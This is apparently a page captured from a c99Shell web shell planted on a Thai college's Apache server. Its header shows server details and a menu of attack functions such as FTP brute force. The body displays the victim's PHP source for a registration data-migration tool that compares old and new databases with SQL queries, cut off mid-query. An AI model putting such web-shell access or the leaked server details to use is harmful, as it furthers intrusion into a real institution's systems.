!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis2222/xmigratex/   drwxr-xr-x
Free 52.59 GB of 127.8 GB (41.15%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     cmp_func_pbri.php (59.29 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php 
/*
 * ฟังชั่นเรียก query ที่ใช้ในการตรวจสอบข้อมูล
 * ระหว่าง ข้อมูลเก่าของวิทบาลัย($oDB) กับ ข้อมูลใหม่($moDB)
 * case 1 : ข้อมูลพื้นฐานของสบช.ที่วิทยาลัยยังไม่อัพเดต
 * case 2 : ข้อมูลระบบทะเบียนที่มีมากกว่าข้อมูลพื้นฐานของสบช.
 * case 3 : ข้อมูลที่PKตรงกันแต่ข้อมูลภายในไม่เท่ากัน
*/

function getQryPbriChkData($oDB,$otb_name,$moDB,$motb_name,$case){
    switch(
$otb_name) {
        default:
            
$query '';
            break;
        case 
'AcadYearConfig' // -- AcadYearConfig vs rg_TermConfig
            
switch($case) {
                case 
1// ตรวจสอบแถวข้อมูลที่เพิ่มขึ้น
                    
$query " SELECT *
                        FROM "
.$oDB.".AcadYearConfig
                        RIGHT JOIN "
.$moDB.".rg_TermConfig
                            ON acadYear = tmcAcY 
                            AND semester = tmcTmId
                        WHERE acadYear IS NULL"
;
                    break;
                case 
2//ตรวจสอบแถวข้อมูลที่ทะเบียนมีมากกว่าข้อมูลพื้นฐาน
                    
$query " SELECT *
                        FROM "
.$oDB.".AcadYearConfig
                        LEFT JOIN "
.$moDB.".rg_TermConfig
                            ON acadYear = tmcAcY 
                            AND semester = tmcTmId
                        WHERE tmcAcY IS NULL"
;
                    break;
                case 
3//ตรวจสอบ pk เหมือนข้อมูลต่าง
                    
$query " SELECT *
                        FROM "
.$moDB.".rg_TermConfig
                        INNER JOIN "
.$oDB.".AcadYearConfig
                            ON acadYear = tmcAcY 
                            AND semester = tmcTmId
                        WHERE firstDate != tmcFrDate
                            AND lastDate != tmcToDate"
;
                break;
            }
            break;
        case 
'Amphur' // -- Amphur vs rg_Amphur
            
switch($case) {
                case 
1// ตรวจสอบแถวข้อมูลที่เพิ่มขึ้น
                    
$query " SELECT *
                        FROM "
.$oDB.".Amphur 
                        RIGHT JOIN "
.$moDB.".rg_Amphur 
                            ON apId = amphurId
                        WHERE amphurId IS NULL"
;
                    break;
                case 
2//ตรวจสอบแถวข้อมูลที่ทะเบียนมีมากกว่าข้อมูลพื้นฐาน
                    
$query " SELECT *
                        FROM "
.$oDB.".Amphur
                        LEFT JOIN "
.$moDB.".rg_Amphur 
                            ON apId = amphurId
                        WHERE apId IS NULL"
;
                    break;
                case 
3//ตรวจสอบ pk เหมือนข้อมูลต่าง
                    
$query " SELECT *
                        FROM "
.$moDB.".rg_Amphur
                        INNER JOIN "
.$oDB.".Amphur 
                            ON apId = amphurId
                        WHERE apName NOT LIKE amphurName
                            OR apNameE NOT LIKE amphurNameEng
                            OR apPrvId != provinceId"
;
                break;
            }
            break;
        case 
'ClinicalPractice' // ClinicalPractice vs rg_ClinicalPractice
            
switch($case) {
                case 
1// ตรวจสอบแถวข้อมูลที่เพิ่มขึ้น
                    
$query " SELECT *
                        FROM "
.$oDB.".ClinicalPractice 
                        RIGHT JOIN "
.$moDB.".rg_ClinicalPractice 
                            ON cpId = cliPracId 
                        WHERE cliPracId IS NULL"
;
                    break;
                case 
2//ตรวจสอบแถวข้อมูลที่ทะเบียนมีมากกว่าข้อมูลพื้นฐาน
                    
$query " SELECT *
                        FROM "
.$oDB.".ClinicalPractice 
                        LEFT JOIN "
.$moDB.".rg_ClinicalPractice 
                            ON cpId = cliPracId 
                        WHERE cpId IS NULL"
;
                    break;
                case 
3//ตรวจสอบ pk เหมือนข้อมูลต่าง
                    
$query " SELECT *
                        FROM "
.$moDB.".rg_ClinicalPractice 
                        INNER JOIN "
.$oDB.".ClinicalPractice
                            ON cpId = cliPracId
                        WHERE cpSeq != sequence
                            OR cpName NOT LIKE cliPracName
                            OR cpNameE NOT LIKE cliPracNameEng"
;
                    break;
            }
            break;
        case 
'College' // College vs rg_College
            
switch($case) {
                case 
1// ตรวจสอบแถวข้อมูลที่เพิ่มขึ้น
                    
$query " SELECT *
                        FROM "
.$oDB.".College
                        RIGHT JOIN "
.$moDB.".rg_College 
                            ON CollegeCode = clgCode
                        WHERE CollegeCode IS NULL"
;
                    break;
                case 
2//ตรวจสอบแถวข้อมูลที่ทะเบียนมีมากกว่าข้อมูลพื้นฐาน
                    
$query " SELECT *
                        FROM "
.$oDB.".College
                        LEFT JOIN "
.$moDB.".rg_College 
                            ON CollegeCode = clgCode
                        WHERE clgCode IS NULL"
;
                    break;
                case 
3//ตรวจสอบ pk เหมือนข้อมูลต่าง
                    
$query " SELECT *
                        FROM "
.$moDB.".rg_College
                        INNER JOIN "
.$oDB.".College 
                            ON CollegeCode = clgCode
                        WHERE collegeLogo NOT LIKE clgLogo 
                            OR collegeName NOT LIKE clgName 
                            OR collegeNameEng NOT LIKE clgNameE 
                            OR collegeAbbr NOT LIKE clgAbbr 
                            OR collegeAbbrEng NOT LIKE clgAbbrE 
                            OR collegeAddress NOT LIKE clgAddr 
                            OR collegePhone NOT LIKE clgPhoneNo "
;
                    break;
            }
            break;
        case 
'Condition' // Condition vs rg_Condition
            
switch($case) {
                case 
1// ตรวจสอบแถวข้อมูลที่เพิ่มขึ้น
                    
$query " SELECT *
                        FROM "
.$oDB.".Condition
                        RIGHT JOIN "
.$moDB.".rg_Condition 
                            ON conditionId = cdId
                        WHERE conditionId IS NULL"
;
                    break;
                case 
2//ตรวจสอบแถวข้อมูลที่ทะเบียนมีมากกว่าข้อมูลพื้นฐาน
                    
$query " SELECT *
                        FROM "
.$oDB.".Condition
                        LEFT JOIN "
.$moDB.".rg_Condition 
                            ON conditionId = cdId
                        WHERE cdId IS NULL"
;
                    break;
                case 
3//ตรวจสอบ pk เหมือนข้อมูลต่าง
                    
$query " SELECT *
                        FROM "
.$moDB.".rg_Condition 
                        INNER JOIN "
.$oDB.".Condition 
                            ON conditionId = cdId
                        WHERE
                            conditionCode NOT LIKE cdCode  
                            OR `condition` NOT LIKE cdName 
                            OR conditionEng NOT LIKE cdNameE 
                            OR conditionAbbr NOT LIKE cdAbbr 
                            OR conditionAbbrEng NOT LIKE cdAbbrE 
                            OR conditionType NOT LIKE cdType 
                            OR minGrade NOT LIKE cdMinGrade "
;
                    break;
            }
            break;
        case 
'CommonFeeTP' // CommonFeeTP vs rg_CommonFeeTp
            
switch($case) {
                case 
1// ตรวจสอบแถวข้อมูลที่เพิ่มขึ้น
                    
$query " SELECT *
                        FROM "
.$oDB.".CommonFeeTP
                        RIGHT JOIN "
.$moDB.".rg_CommonFeeTp 
                            ON admitAcadYear = cmftAdY 
                                AND studentYear = cmftSyId 
                                AND acadYear = cmftAcY 
                                AND semester = cmftTmId 
                                AND feeId = cmftFeeId 
                        WHERE admitAcadYear IS NULL"
;
                    break;
                case 
2//ตรวจสอบแถวข้อมูลที่ทะเบียนมีมากกว่าข้อมูลพื้นฐาน
                    
$query " SELECT *
                        FROM "
.$oDB.".CommonFeeTP
                        LEFT JOIN "
.$moDB.".rg_CommonFeeTp 
                            ON admitAcadYear = cmftAdY 
                                AND studentYear = cmftSyId 
                                AND acadYear = cmftAcY 
                                AND semester = cmftTmId 
                                AND feeId = cmftFeeId 
                        WHERE cmftAdY IS NULL"
;
                    break;
                case 
3//ตรวจสอบ pk เหมือนข้อมูลต่าง
                    
$query " SELECT *
                        FROM "
.$moDB.".rg_CommonFeeTp 
                        RIGHT JOIN "
.$oDB.".CommonFeeTP
                            ON admitAcadYear = cmftAdY 
                                AND studentYear = cmftSyId 
                                AND acadYear = cmftAcY 
                                AND semester = cmftTmId 
                                AND feeId = cmftFeeId 
                        WHERE amount != cmftAmt   
                            OR isDom NOT LIKE cmftIsDom "
;
                    break;
            }
            break;
        case 
'Course' // Course vs rg_Course
            
switch($case) {
                case 
1// ตรวจสอบแถวข้อมูลที่เพิ่มขึ้น
                    
$query " SELECT *
                        FROM "
.$oDB.".Course
                        RIGHT JOIN "
.$moDB.".rg_Course 
                            ON courseId = crsId
                        WHERE courseId IS NULL"
;
                    break;
                case 
2//ตรวจสอบแถวข้อมูลที่ทะเบียนมีมากกว่าข้อมูลพื้นฐาน
                    
$query " SELECT *
                        FROM "
.$oDB.".Course
                        LEFT JOIN "
.$moDB.".rg_Course 
                            ON courseId = crsId
                        WHERE crsId IS NULL"
;
                    break;
                case 
3//ตรวจสอบ pk เหมือนข้อมูลต่าง
                    
$query " SELECT *
                        FROM "
.$moDB.".rg_Course 
                        INNER JOIN "
.$oDB.".Course
                            ON courseId = crsId
                        WHERE 
                            TRIM(courseCode) NOT LIKE TRIM(crsCode) 
                            OR TRIM(courseCodeEng) NOT LIKE TRIM(crsCodeE) 
                            OR TRIM(courseName) NOT LIKE TRIM(crsName) 
                            OR TRIM(courseNameEng) NOT LIKE TRIM(crsNameE) 
                            OR TRIM(courseAbbr) NOT LIKE TRIM(crsAbbr) 
                            OR TRIM(courseAbbrEng) NOT LIKE TRIM(crsAbbrE) 
                            OR creditTotal != crsCreditTotal 
                            OR credit1 != crsCredit1 
                            OR credit2 != crsCredit2 
                            OR period1 != crsPeriod1 
                            OR period2 != crsPeriod2 
                            OR period3 != crsPeriod3 
                            OR TRIM(courseStatus) NOT LIKE TRIM(crsStatus) 
                            OR TRIM(description) NOT LIKE TRIM(crsDescription) 
                            OR TRIM(descriptionEng) NOT LIKE TRIM(crsDescriptionE) 
                            OR createDateTime != crsCreateDate 
                            OR TRIM(createUserId) NOT LIKE TRIM(crsCreateUserId) 
                            OR updateDateTime != crsUpdateDate 
                            OR TRIM(updateUserId) NOT LIKE TRIM(crsUpdateUserId) 
                            OR TRIM(courseUnit) NOT LIKE TRIM(crsUnit) 
                            OR TRIM(showLabTS) NOT LIKE TRIM(crsShowLabInTS) 
                            OR `conditionId` != crsCdId "
;
                    break;
            }
            break;
        case 
'CourseFeeTP' // CourseFeeTP vs rg_CourseFeeTp
            
switch($case) {
                case 
1// ตรวจสอบแถวข้อมูลที่เพิ่มขึ้น
                    
$query " SELECT *
                        FROM "
.$oDB.".CourseFeeTP
                        RIGHT JOIN "
.$moDB.".rg_CourseFeeTp 
                            ON programId = crftCurId
                            AND admitAcadYear = crftAdY  
                            AND studentYear = crftSyId    
                            AND acadYear = crftAcY  
                            AND semester = crftTmId 
                        WHERE programId IS NULL"
;
                    break;
                case 
2//ตรวจสอบแถวข้อมูลที่ทะเบียนมีมากกว่าข้อมูลพื้นฐาน
                    
$query " SELECT *
                        FROM "
.$oDB.".CourseFeeTP
                        LEFT JOIN "
.$moDB.".rg_CourseFeeTp 
                            ON programId = crftCurId
                            AND admitAcadYear = crftAdY  
                            AND studentYear = crftSyId    
                            AND acadYear = crftAcY  
                            AND semester = crftTmId
                        WHERE crftCurId IS NULL"
;
                    break;
                case 
3//ตรวจสอบ pk เหมือนข้อมูลต่าง
                    
$query "    SELECT *
                        FROM "
.$moDB.".rg_CourseFeeTp 
                        INNER JOIN "
.$oDB.".CourseFeeTP
                            ON programId = crftCurId
                            AND admitAcadYear = crftAdY  
                            AND studentYear = crftSyId 
                            AND acadYear = crftAcY  
                            AND semester = crftTmId
                        WHERE 
                            lcCreditFee != crftLecCreditFee
                            OR lbCreditFee != crftLabCreditFee
                            OR lateFine != crftLateFine 
                            OR TRIM(lateFineUnit) NOT LIKE TRIM(crftLateFineUnit)
                            OR kssFee != crftKssFee 
                            OR maxLateFine != crftMaxLateFine "
;
                    break;
            }
            break;
        case 
'CourseInProgram' // CourseInProgram vs rg_ProgramCourses
            
switch($case) {
                case 
1// ตรวจสอบแถวข้อมูลที่เพิ่มขึ้น
                    
$query " SELECT *
                        FROM "
.$oDB.".CourseInProgram
                        RIGHT JOIN "
.$moDB.".rg_ProgramCourses 
                            ON programId = pcrCsCurId
                            AND conditionId1 = pcrCsCdId1
                            AND conditionId2 = pcrCsCdId2
                            AND courseId = pcrCrsId  
                        WHERE programId IS NULL"
;
                    break;
                case 
2//ตรวจสอบแถวข้อมูลที่ทะเบียนมีมากกว่าข้อมูลพื้นฐาน
                    
$query " SELECT *
                        FROM "
.$oDB.".CourseInProgram
                        LEFT JOIN "
.$moDB.".rg_ProgramCourses 
                            ON programId = pcrCsCurId
                            AND conditionId1 = pcrCsCdId1
                            AND conditionId2 = pcrCsCdId2
                            AND courseId = pcrCrsId  
                        WHERE pcrCsCurId IS NULL"
;
                    break;
                case 
3//ตรวจสอบ pk เหมือนข้อมูลต่าง
                    
$query " SELECT *
                        FROM "
.$moDB.".rg_ProgramCourses 
                        INNER JOIN "
.$oDB.".CourseInProgram
                            ON programId = pcrCsCurId
                            AND conditionId1 = pcrCsCdId1
                            AND conditionId2 = pcrCsCdId2
                            AND courseId = pcrCrsId  
                        WHERE 
                            conditionType NOT LIKE pcrCdType  
                            OR minGrade NOT LIKE pcrMinGrade
                            OR courseStatus NOT LIKE pcrStatus  "
;
                    break;
            }
            break;
        case 
'Degree' // Degree vs rg_EduDegree
            
switch($case) {
                case 
1// ตรวจสอบแถวข้อมูลที่เพิ่มขึ้น
                    
$query " SELECT *
                        FROM "
.$oDB.".Degree
                        RIGHT JOIN "
.$moDB.".rg_EduDegree 
                            ON degreeId = edgId
                        WHERE degreeId IS NULL"
;
                    break;
                case 
2//ตรวจสอบแถวข้อมูลที่ทะเบียนมีมากกว่าข้อมูลพื้นฐาน
                    
$query " SELECT *
                        FROM "
.$oDB.".Degree
                        LEFT JOIN "
.$moDB.".rg_EduDegree 
                            ON degreeId = edgId
                        WHERE edgId IS NULL"
;
                    break;
                case 
3//ตรวจสอบ pk เหมือนข้อมูลต่าง
                    
$query " SELECT *
                        FROM "
.$moDB.".rg_EduDegree 
                        INNER JOIN "
.$oDB.".Degree
                            ON degreeId = edgId 
                        WHERE 
                            degreeName NOT LIKE edgName 
                            OR degreeNameEng NOT LIKE edgNameE 
                            OR degreeAbbr NOT LIKE edgAbbr 
                            OR degreeAbbrEng NOT LIKE edgAbbrE "
;
                    break;
            }
            break;
        case 
'Discipline' // Discipline vs rg_Discipline
            
switch($case) {
                case 
1// ตรวจสอบแถวข้อมูลที่เพิ่มขึ้น
                    
$query " SELECT *
                        FROM "
.$oDB.".Discipline
                        RIGHT JOIN "
.$moDB.".rg_Discipline 
                            ON disciplineId = dcpId
                        WHERE disciplineId IS NULL"
;
                    break;
                case 
2//ตรวจสอบแถวข้อมูลที่ทะเบียนมีมากกว่าข้อมูลพื้นฐาน
                    
$query "    SELECT *
                        FROM "
.$oDB.".Discipline
                        LEFT JOIN "
.$moDB.".rg_Discipline 
                            ON disciplineId = dcpId
                        WHERE dcpId IS NULL"
;
                    break;
                case 
3//ตรวจสอบ pk เหมือนข้อมูลต่าง
                    
$query " SELECT *
                        FROM "
.$moDB.".rg_Discipline 
                        INNER JOIN "
.$oDB.".Discipline
                            ON disciplineId = dcpId
                        WHERE 
                            TRIM(disciplineName) NOT LIKE TRIM(dcpName) 
                            OR levelNo != dcpLevelNo 
                            OR minPoint != dcpMinPoint 
                            OR maxPoint != dcpMaxPoint "
;
                    break;
            }
            break;
        case 
'District' // District vs rg_District
            
switch($case) {
                case 
1// ตรวจสอบแถวข้อมูลที่เพิ่มขึ้น
                    
$query " SELECT *
                        FROM "
.$oDB.".District
                        RIGHT JOIN "
.$moDB.".rg_District 
                            ON districtId= dtId
                        WHERE districtId IS NULL"
;
                    break;
                case 
2//ตรวจสอบแถวข้อมูลที่ทะเบียนมีมากกว่าข้อมูลพื้นฐาน
                    
$query " SELECT *
                        FROM "
.$oDB.".District
                        LEFT JOIN "
.$moDB.".rg_District 
                            ON districtId= dtId
                        WHERE dtId IS NULL"
;
                    break;
                case 
3//ตรวจสอบ pk เหมือนข้อมูลต่าง
                    
$query " SELECT *
                        FROM "
.$moDB.".rg_District 
                        INNER JOIN "
.$oDB.".District
                            ON districtId= dtId
                        WHERE 
                            TRIM(districtName) NOT LIKE TRIM(dtName) 
                            OR TRIM(districtNameEng) NOT LIKE TRIM(dtNameE) 
                            OR amphurId != dtApId 
                            OR provinceId != dtPrvId "
;
                    break;
            }
            break;
        case 
'Fee' // Fee vs rg_Fee
            
switch($case) {
                case 
1// ตรวจสอบแถวข้อมูลที่เพิ่มขึ้น
                    
$query " SELECT *
                        FROM "
.$oDB.".Fee 
                        RIGHT JOIN "
.$moDB.".rg_Fee 
                            ON $oDB.Fee.feeId = $moDB.rg_Fee.feeId
                        WHERE $oDB.Fee.feeId IS NULL"
;
                    break;
                case 
2//ตรวจสอบแถวข้อมูลที่ทะเบียนมีมากกว่าข้อมูลพื้นฐาน
                    
$query " SELECT *
                        FROM "
.$oDB.".Fee 
                        LEFT JOIN "
.$moDB.".rg_Fee 
                            ON $oDB.Fee.feeId= $moDB.rg_Fee.feeId
                        WHERE $moDB.rg_Fee.feeId IS NULL"
;
                    break;
                case 
3//ตรวจสอบ pk เหมือนข้อมูลต่าง
                    
$query " SELECT *
                        FROM "
.$moDB.".rg_Fee 
                        INNER JOIN "
.$oDB.".Fee 
                            ON "
.$oDB.".Fee.feeId = ".$moDB.".rg_Fee.feeId
                        WHERE 
                            TRIM("
.$oDB.".Fee.feeName) NOT LIKE TRIM(".$moDB.".rg_Fee.feeName) 
                            OR "
.$oDB.".Fee.feeType != ".$moDB.".rg_Fee.feeType 
                            OR feePayType != feePytId 
                            OR "
.$oDB.".Fee.feeCalType != ".$moDB.".rg_Fee.feeCalType 
                            OR canRefund != feeCanRefund 
                            OR feeGroupId != feeFgId 
                            OR sequence != feeSeq 
                            OR outBudget != feeOutBudget 
                            OR onTop != feeOnTop 
                            OR levelId != feeElvId "
;
                    break;
            }
            break;
        case 
'FeeGroup' // FeeGroup vs rg_FeeGroup
            
switch($case) {
                case 
1// ตรวจสอบแถวข้อมูลที่เพิ่มขึ้น
                    
$query " SELECT *
                        FROM "
.$oDB.".FeeGroup
                        RIGHT JOIN "
.$moDB.".rg_FeeGroup
                            ON feeGroupId = fgId
                        WHERE feeGroupId IS NULL"
;
                    break;
                case 
2//ตรวจสอบแถวข้อมูลที่ทะเบียนมีมากกว่าข้อมูลพื้นฐาน
                    
$query " SELECT *
                        FROM "
.$oDB.".FeeGroup
                        LEFT JOIN "
.$moDB.".rg_FeeGroup
                            ON feeGroupId = fgId
                        WHERE fgId IS NULL"
;
                    break;
                case 
3//ตรวจสอบ pk เหมือนข้อมูลต่าง
                    
$query " SELECT *
                        FROM "
.$moDB.".rg_FeeGroup
                        INNER JOIN "
.$oDB.".FeeGroup
                            ON feeGroupId = fgId
                        WHERE sequence != fgSeq 
                              OR TRIM(feeGroupName) NOT LIKE TRIM(fgName)"
;
                    break;
            }
            break;
        case 
'GradeConfig' // GradeConfig vs rg_Grade
            
switch($case) {
                case 
1// ตรวจสอบแถวข้อมูลที่เพิ่มขึ้น
                    
$query " SELECT *
                        FROM "
.$oDB.".GradeConfig
                        RIGHT JOIN "
.$moDB.".rg_Grade
                            ON gradeId = grdId
                        WHERE gradeId IS NULL"
;
                    break;
                case 
2//ตรวจสอบแถวข้อมูลที่ทะเบียนมีมากกว่าข้อมูลพื้นฐาน
                    
$query " SELECT *
                        FROM "
.$oDB.".GradeConfig
                        LEFT JOIN "
.$moDB.".rg_Grade
                            ON gradeId = grdId
                        WHERE grdId IS NULL"
;
                    break;
                case 
3//ตรวจสอบ pk เหมือนข้อมูลต่าง
                    
$query " SELECT *
                        FROM "
.$moDB.".rg_Grade
                        INNER JOIN "
.$oDB.".GradeConfig
                            ON gradeId = grdId
                        WHERE TRIM(grade) NOT LIKE TRIM(grdGrade) 
                            OR gradePoint != grdPoint 
                            OR TRIM(description) NOT LIKE TRIM(grdDescription) 
                            OR TRIM(descriptionEng) NOT LIKE TRIM(grdDescriptionE) 
                            OR TRIM(calGrade) NOT LIKE TRIM(grdCalGrade) 
                            OR TRIM(calCredit) NOT LIKE TRIM(grdCalCredit) "
;
                    break;
            }
            break;
        case 
'HealthPrivilege' // HealthPrivilege vs rg_Grade
            
switch($case) {
                case 
1// ตรวจสอบแถวข้อมูลที่เพิ่มขึ้น
                    
$query " SELECT *
                        FROM "
.$oDB.".HealthPrivilege
                        RIGHT JOIN "
.$moDB.".rg_HealthPrivilege
                            ON healthPrivId = hpId
                        WHERE healthPrivId IS NULL"
;
                    break;
                case 
2//ตรวจสอบแถวข้อมูลที่ทะเบียนมีมากกว่าข้อมูลพื้นฐาน
                    
$query " SELECT *
                        FROM "
.$oDB.".HealthPrivilege
                        LEFT JOIN "
.$moDB.".rg_HealthPrivilege
                            ON healthPrivId = hpId
                        WHERE hpId IS NULL"
;
                    break;
                case 
3//ตรวจสอบ pk เหมือนข้อมูลต่าง
                    
$query " SELECT *
                        FROM "
.$moDB.".rg_HealthPrivilege
                        INNER JOIN "
.$oDB.".HealthPrivilege
                            ON healthPrivId = hpId
                        WHERE TRIM(healthPrivName) NOT LIKE TRIM(hpName) "
;
                    break;
            }
            break;
        case 
'Level' // Level vs rg_EduLevel
            
switch($case) {
                case 
1// ตรวจสอบแถวข้อมูลที่เพิ่มขึ้น
                    
$query " SELECT *
                        FROM "
.$oDB.".Level
                        RIGHT JOIN "
.$moDB.".rg_EduLevel
                            ON levelId = elvId
                        WHERE levelId IS NULL"
;
                    break;
                case 
2//ตรวจสอบแถวข้อมูลที่ทะเบียนมีมากกว่าข้อมูลพื้นฐาน
                    
$query " SELECT *
                        FROM "
.$oDB.".Level
                        LEFT JOIN "
.$moDB.".rg_EduLevel
                            ON levelId = elvId
                        WHERE elvId IS NULL"
;
                    break;
                case 
3//ตรวจสอบ pk เหมือนข้อมูลต่าง
                    
$query " SELECT *
                        FROM "
.$moDB.".rg_EduLevel
                        INNER JOIN "
.$oDB.".Level
                            ON levelId = elvId
                        WHERE TRIM(levelName) NOT LIKE TRIM(elvName) 
                            OR TRIM(levelNameEng) NOT LIKE TRIM(elvNameE) 
                            OR TRIM(levelAbbr) NOT LIKE TRIM(elvAbbr) 
                            OR TRIM(levelAbbrEng) NOT LIKE TRIM(elvAbbrE) "
;
                    break;
            }
            break;
        case 
'Nation' // Nation vs rg_Nation
            
switch($case) {
                case 
1// ตรวจสอบแถวข้อมูลที่เพิ่มขึ้น
                    
$query " SELECT *
                        FROM "
.$oDB.".Nation
                        RIGHT JOIN "
.$moDB.".rg_Nation
                            ON nationId = ntId
                        WHERE nationId IS NULL"
;
                    break;
                case 
2//ตรวจสอบแถวข้อมูลที่ทะเบียนมีมากกว่าข้อมูลพื้นฐาน
                    
$query " SELECT *
                        FROM "
.$oDB.".Nation
                        LEFT JOIN "
.$moDB.".rg_Nation
                            ON nationId = ntId
                        WHERE ntId IS NULL"
;
                    break;
                case 
3//ตรวจสอบ pk เหมือนข้อมูลต่าง
                    
$query " SELECT *
                        FROM "
.$moDB.".rg_Nation
                        INNER JOIN "
.$oDB.".Nation
                            ON nationId = ntId
                        WHERE TRIM(nationName) NOT LIKE TRIM(ntName) 
                            OR TRIM(nationNameEng) NOT LIKE TRIM(ntNameE) "
;
                    break;
            }
            break;
        case 
'PreAdmitPosition' // PreAdmitPosition vs rg_PreAdmit
            
switch($case) {
                case 
1// ตรวจสอบแถวข้อมูลที่เพิ่มขึ้น
                    
$query " SELECT *
                        FROM "
.$oDB.".PreAdmitPosition
                        RIGHT JOIN "
.$moDB.".rg_PreAdmit
                            ON preAdmitPositionId = paId
                        WHERE preAdmitPositionId IS NULL"
;
                    break;
                case 
2//ตรวจสอบแถวข้อมูลที่ทะเบียนมีมากกว่าข้อมูลพื้นฐาน
                    
$query " SELECT *
                        FROM "
.$oDB.".PreAdmitPosition
                        LEFT JOIN "
.$moDB.".rg_PreAdmit
                            ON preAdmitPositionId = paId
                        WHERE paId IS NULL"
;
                    break;
                case 
3//ตรวจสอบ pk เหมือนข้อมูลต่าง
                    
$query " SELECT *
                        FROM "
.$moDB.".rg_PreAdmit
                        INNER JOIN "
.$oDB.".PreAdmitPosition
                            ON preAdmitPositionId = paId
                        WHERE TRIM(positionName) NOT LIKE TRIM(paName)"
;
                    break;
            }
            break;
        case 
'Prefix' //  Prefix vs rg_Prefix
            
switch($case) {
                case 
1// ตรวจสอบแถวข้อมูลที่เพิ่มขึ้น
                    
$query " SELECT *
                        FROM "
.$oDB.".Prefix
                        RIGHT JOIN "
.$moDB.".rg_Prefix
                            ON prefixId = pfId
                        WHERE prefixId IS NULL"
;
                    break;
                case 
2//ตรวจสอบแถวข้อมูลที่ทะเบียนมีมากกว่าข้อมูลพื้นฐาน
                    
$query " SELECT *
                        FROM "
.$oDB.".Prefix
                        LEFT JOIN "
.$moDB.".rg_Prefix
                            ON prefixId = pfId
                        WHERE pfId IS NULL"
;
                    break;
                case 
3//ตรวจสอบ pk เหมือนข้อมูลต่าง
                    
$query " SELECT *
                        FROM "
.$moDB.".rg_Prefix
                        INNER JOIN "
.$oDB.".Prefix
                            ON prefixId = pfId
                        WHERE TRIM(prefixName) NOT LIKE TRIM(pfName) 
                            OR TRIM(prefixNameEng) NOT LIKE TRIM(pfNameE) 
                            OR TRIM(defaultSex) NOT LIKE TRIM(pfGender)"
;
                    break;
            }
            break;
        case 
'Prerequisite' // Prerequisite vs rg_PreCourse
            
switch($case) {
                case 
1// ตรวจสอบแถวข้อมูลที่เพิ่มขึ้น
                    
$query " SELECT *
                        FROM "
.$oDB.".Prerequisite
                        RIGHT JOIN "
.$moDB.".rg_PreCourse
                            ON courseId = prcCrsId  
                            AND prCourseId = prcPrCrsId
                        WHERE courseId IS NULL"
;
                    break;
                case 
2//ตรวจสอบแถวข้อมูลที่ทะเบียนมีมากกว่าข้อมูลพื้นฐาน
                    
$query " SELECT *
                        FROM "
.$oDB.".Prerequisite
                        LEFT JOIN "
.$moDB.".rg_PreCourse
                            ON courseId = prcCrsId  
                            AND prCourseId = prcPrCrsId
                        WHERE prcCrsId IS NULL"
;
                    break;
                case 
3//ตรวจสอบ pk เหมือนข้อมูลต่าง
                    
$query " SELECT *
                        FROM "
.$moDB.".rg_PreCourse
                        INNER JOIN "
.$oDB.".Prerequisite
                            ON courseId = prcCrsId 
                            AND prCourseId = prcPrCrsId
                        WHERE prAndOr != prcAndOr 
                              OR sequence != prcSeq"
;
                    break;
            }
            break;
        case 
'Program' // Program vs rg_Curriculum
            
switch($case) {
                case 
1// ตรวจสอบแถวข้อมูลที่เพิ่มขึ้น
                    
$query " SELECT *
                        FROM "
.$oDB.".Program
                        RIGHT JOIN "
.$moDB.".rg_Curriculum
                            ON programId = curId
                        WHERE programId IS NULL"
;
                    break;
                case 
2//ตรวจสอบแถวข้อมูลที่ทะเบียนมีมากกว่าข้อมูลพื้นฐาน
                    
$query " SELECT *
                        FROM "
.$oDB.".Program
                        LEFT JOIN "
.$moDB.".rg_Curriculum
                            ON programId = curId
                        WHERE curId IS NULL"
;
                    break;
                case 
3//ตรวจสอบ pk เหมือนข้อมูลต่าง
                    
$query " SELECT *
                        FROM "
.$moDB.".rg_Curriculum
                        INNER JOIN "
.$oDB.".Program
                            ON programId = curId
                        WHERE 
                            programYear != curImproveY 
                            OR degreeId != curEdgId 
                            OR levelId != curElvId 
                            OR programName NOT LIKE curName 
                            OR programNameEng NOT LIKE curNameE 
                            OR programAbbr NOT LIKE curAbbr 
                            OR programAbbrEng NOT LIKE curAbbrE 
                            OR creditTotal != curMinCredit 
                            OR description NOT LIKE  curDescription 
                            OR descriptionEng NOT LIKE  curDescriptionE 
                            OR studyYearMax != curMaxStudyY 
                            OR gradePointMin != curMinGPAX 
                            OR createDateTime != curCreateDate 
                            OR createUserId NOT LIKE curCreateUserId 
                            OR updateDateTime != curUpdateDate 
                            OR updateUserId != curUpdateUsLogin 
                            OR semesterPerYear != curNumTmPerY 
                            OR programStatus != curStatus 
                            OR studyYear != curNumStudyY 
                            OR programConfId != curCcId "
;
                    break;
            }
            break;
        case 
'ProgramConfig' // ProgramConfig vs rg_CurriculumConfig
            
switch($case) {
                case 
1// ตรวจสอบแถวข้อมูลที่เพิ่มขึ้น
                    
$query " SELECT *
                        FROM "
.$oDB.".ProgramConfig
                        RIGHT JOIN "
.$moDB.".rg_CurriculumConfig
                            ON programConfId = ccId
                        WHERE programConfId IS NULL"
;
                    break;
                case 
2//ตรวจสอบแถวข้อมูลที่ทะเบียนมีมากกว่าข้อมูลพื้นฐาน
                    
$query " SELECT *
                        FROM "
.$oDB.".ProgramConfig
                        LEFT JOIN "
.$moDB.".rg_CurriculumConfig
                            ON programConfId = ccId
                        WHERE ccId IS NULL"
;
                    break;
                case 
3//ตรวจสอบ pk เหมือนข้อมูลต่าง
                    
$query " SELECT *
                        FROM "
.$moDB.".rg_CurriculumConfig
                        INNER JOIN "
.$oDB.".ProgramConfig
                            ON programConfId = ccId
                        WHERE TRIM(programConfName) NOT LIKE TRIM(ccName) 
                            OR programConfStatus != ccStatus"
;
                    break;
            }
            break;
        case 
'ProgramFeeTP' // ProgramFeeTP vs rg_CurriculumFeeTp
            
switch($case) {
                case 
1// ตรวจสอบแถวข้อมูลที่เพิ่มขึ้น
                    
$query " SELECT *
                        FROM "
.$oDB.".ProgramFeeTP
                        RIGHT JOIN "
